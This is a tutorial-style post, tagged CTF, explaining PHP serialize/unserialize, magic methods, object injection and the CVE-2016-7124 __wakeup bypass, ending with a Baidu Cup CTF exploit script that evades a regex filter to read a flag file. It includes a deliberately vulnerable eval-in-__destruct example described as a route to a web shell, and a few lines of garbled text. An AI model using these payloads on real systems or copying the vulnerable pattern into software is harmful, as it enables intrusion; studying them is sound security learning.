PHP deserialization

0x00 Preface

I recently reviewed what I learned before. I feel that I have a deeper understanding of PHP deserialization, so I summarize here

0x01 serialize() function

"All values in php can be represented by a string containing a byte stream using the function serialize().
Serializing an object will save all variables of the object, but will not save the method of the object, but only the name of the class. "
At first, the concept may be a little confused, but later it is slowly understood
At the end of program execution, the memory data will be destroyed immediately. The data stored in variables is memory data, and files and databases are "persistent data". Therefore, PHP serialization is the process of "saving" the variable data in memory to the persistent data in files.

1 s = s e r i a l i z e ( s = serialize( S = Serialize (variable)// This function serializes variable data into a string
2 file_put_contents('. / target text file', s ) ; / / take s); // take s);// Save s to the specified file

Here is a specific example to understand serialization:

<?php
class User
{
    public $age = 0;
    public $name = '';

    public function PrintData()
    {
        echo 'User '.$this->name.'is'.$this->age.'years old. 
';
    }
}
//Create an object
$user = new User();
// Set data
$user->age = 20;
$user->name = 'daye';

//output data
$user->PrintData();
//Output serialized data
echo serialize($user);

?>

This is the result:

You can see that after serializing an object, all variables of the object will be saved, and it is found that the serialized result has a character, which is the abbreviation of the following letters.

a - array                  b - boolean
d - double                 i - integer
o - common object          r - reference
s - string                 C - custom object
O - class                  N - null
R - pointer reference      U - unicode string

Knowing the abbreviated type letters, you can get the PHP serialization format
O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}
Object type: length: "class name": number of variables in the class: {type: length: "value"; type: length: "value";...}

Through the above examples, you can understand the concept of returning a string containing a byte stream through the serialize() function.

0x02 unserialize() function

unserialize() operates on a single serialized variable and converts it back to the value of PHP. Before deserializing an object, the class of the object must be defined before deserialization.

Simply understand, even if the serialized data stored in the file is restored to the variable representation of the program code, it will be restored to the result before variable serialization.
1 $s = file_get_contents('. / target text file')// Get the content of the text file (previously serialized string)
2 change amount = u n s e r i a l i z e ( Variable = serialize( Variable = Serialize (s); / / deserialize the text content into the specified variable
Learn about deserialization through an example:

<?php
class User
{
    public $age = 0;
    public $name = '';

    public function PrintData()
    {
        echo 'User '.$this->name.' is '.$this->age.' years old. 
';
    }
}
//Rebuild object
$user = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"daye";}');

$user->PrintData();

?>

This is the result:

Note: before deserializing an object, the class of the object must be defined before deserialization. Otherwise, an error will be reported

0x03 PHP deserialization vulnerability

Before learning about vulnerabilities, let's learn about PHP magic functions, which will be very helpful for the next learning
PHP keeps all class methods that begin with _ (two underscores) as magic methods

__construct   Called when an object is created,
__destruct   Called when an object is destroyed,
__toString   When an object is called as a string.
__wakeup()   use unserialize Time trigger
__sleep()    use serialize Time trigger
__destruct()    Triggered when the object is destroyed
__call()    Triggering an invocable method in an object context
__callStatic()    Triggering an invocable method in a static context
__get()    Used to read data from inaccessible properties
__set()    Used to write data to inaccessible properties
__isset()    Called on an inaccessible property isset()or empty()trigger
__unset()     Use on inaccessible properties unset()Time trigger
__toString()    Triggered when a class is used as a string,The return value needs to be a string
__invoke()   Triggered when a script attempts to call an object as a function

Only some magic functions are listed here. See

https://www.php.net/manual/zh/language.oop5.magic.php
The following is an example to understand the process of automatic calling of magic functions

<?php
class test{
 public $varr1="abc";
 public $varr2="123";
 public function echoP(){
  echo $this->varr1."<br>";
 }
 public function __construct(){
  echo "__construct<br>";
 }
 public function __destruct(){
  echo "__destruct<br>";
 }
 public function __toString(){
  return "__toString<br>";
 }
 public function __sleep(){
  echo "__sleep<br>";
  return array('varr1','varr2');
 }
 public function __wakeup(){
  echo "__wakeup<br>";
 }
}

$obj = new test();  //Instantiate the object, call the _construct() method, and output _construct
$obj->echoP();   //Call the echo () method and output "abc"
echo $obj;    //The obj object is output as a string. Call the _toString() method to output _toString
$s =serialize($obj);  //obj object is serialized, call _sleep() method and output _sleep
echo unserialize($s);  //$s will be deserialized first, and the _wake() method will be called. If the deserialized object is treated as a string, the _toString() method will be called.
// At the end of the script, the _destruct() method will be called to output _destruct
?>

This is the result:

Through this example, you can clearly see that the magic function will be called when the corresponding conditions are met.

0x04 object injection

A vulnerability occurs when a user's request is not properly filtered before being passed to the deserialization function deserialize(). Because PHP allows object serialization, an attacker can submit a specific serialized string to an deserialization function with this vulnerability, eventually leading to the injection of an arbitrary PHP object within the scope of the application.
There are two prerequisites for object vulnerabilities:
1, The parameters of unserialize are controllable.
2, A class containing magic methods is defined in the code, and some functions with security problems using class member variables as parameters appear in the method.
Here is an example:

<?php
class A{
    var $test = "demo";
    function __destruct(){
            echo $this->test;
    }
}
$a = $_GET['test'];
$a_unser = unserialize($a);
?>

For example, if the user generated content of this column is directly passed to the Serialize () function, such a statement can be constructed
?test=O:1:"A":1:{s:4:"test";s:5:"lemon";}
After the script runs, the _destruct function will be called and the test variable output lemon will be overwritten.

If this vulnerability is found, you can use this vulnerability point to control input variables and splice them into a serialized object.

Take another example:

<?php
class A{
    var $test = "demo";
    function __destruct(){
        @eval($this->test);//_destruct() function calls eval to execute statements in serialized objects.
    }
}
$test = $_POST['test'];
$len = strlen($test)+1;
$pp = "O:1:\"A\":1:{s:4:\"test\";s:".$len.":\"".$test.";\";}"; // Construct serialized object
$test_unser = unserialize($pp); // Deserialization also triggers the _destroyfunction
?>

In fact, after careful observation, we can find that we manually construct the serialized object so that the unserialize() function can trigger the _destruc() function and then execute malicious statements in the _destruc() function.
So we can use this vulnerability to get the web shell

0x05 bypass deserialization of magic function

wakeup() function bypasses

PHP5<5.6.25
PHP7<7.0.10
PHP deserialization vulnerability CVE-2016-7124
#a# key point: when the value indicating the number of attributes in the deserialized string is greater than the actual number of attributes, the execution of #u wakeup function will be bypassed
Baidu Cup - Hash

In fact, by carefully analyzing the code, we can get f15g_1s_here.php as long as we can bypass two points

(1)Bypassing regular expression checking of variables
(2)bypass_wakeup()Magic function, because if we deserialize not Gu3ss_m3_h2h2.php,This magic function is triggered and forcibly converted to Gu3ss_m3_h2h2.php

So the problem is, if you bypass regular expressions
(1) / [oc]:\d+:/i, for example: o:4: will be matched, and bypassing is also very simple. Just add a +, and the regular expression will not match 0: + 4:
(2) Bypass the _wakeup() magic function. As mentioned above, when the value indicating the number of attributes in the deserialization string is greater than the number of real attributes, the execution of _wakeupfunction will be bypassed

Writing php serialization scripts

<?php
class Demo {
    private $file = 'Gu3ss_m3_h2h2.php';

    public function __construct($file) {
        $this->file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}
#First create an object and call it automatically__ construct magic function
$obj = new Demo('f15g_1s_here.php');
#Serialize
$a = serialize($obj);
#Using str_replace() function to bypass the regular expression check
$a = str_replace('O:4:','O:+4:',$a);
#Using str_replace() function to bypass__ wakeup() magic function
$a = str_replace(':1:',':2:',$a);
#Then base64 coding
echo base64_encode($a);
?>

Tags: CTF

Posted on Sat, 20 Nov 2021 17:01:23 -0500 by BrianM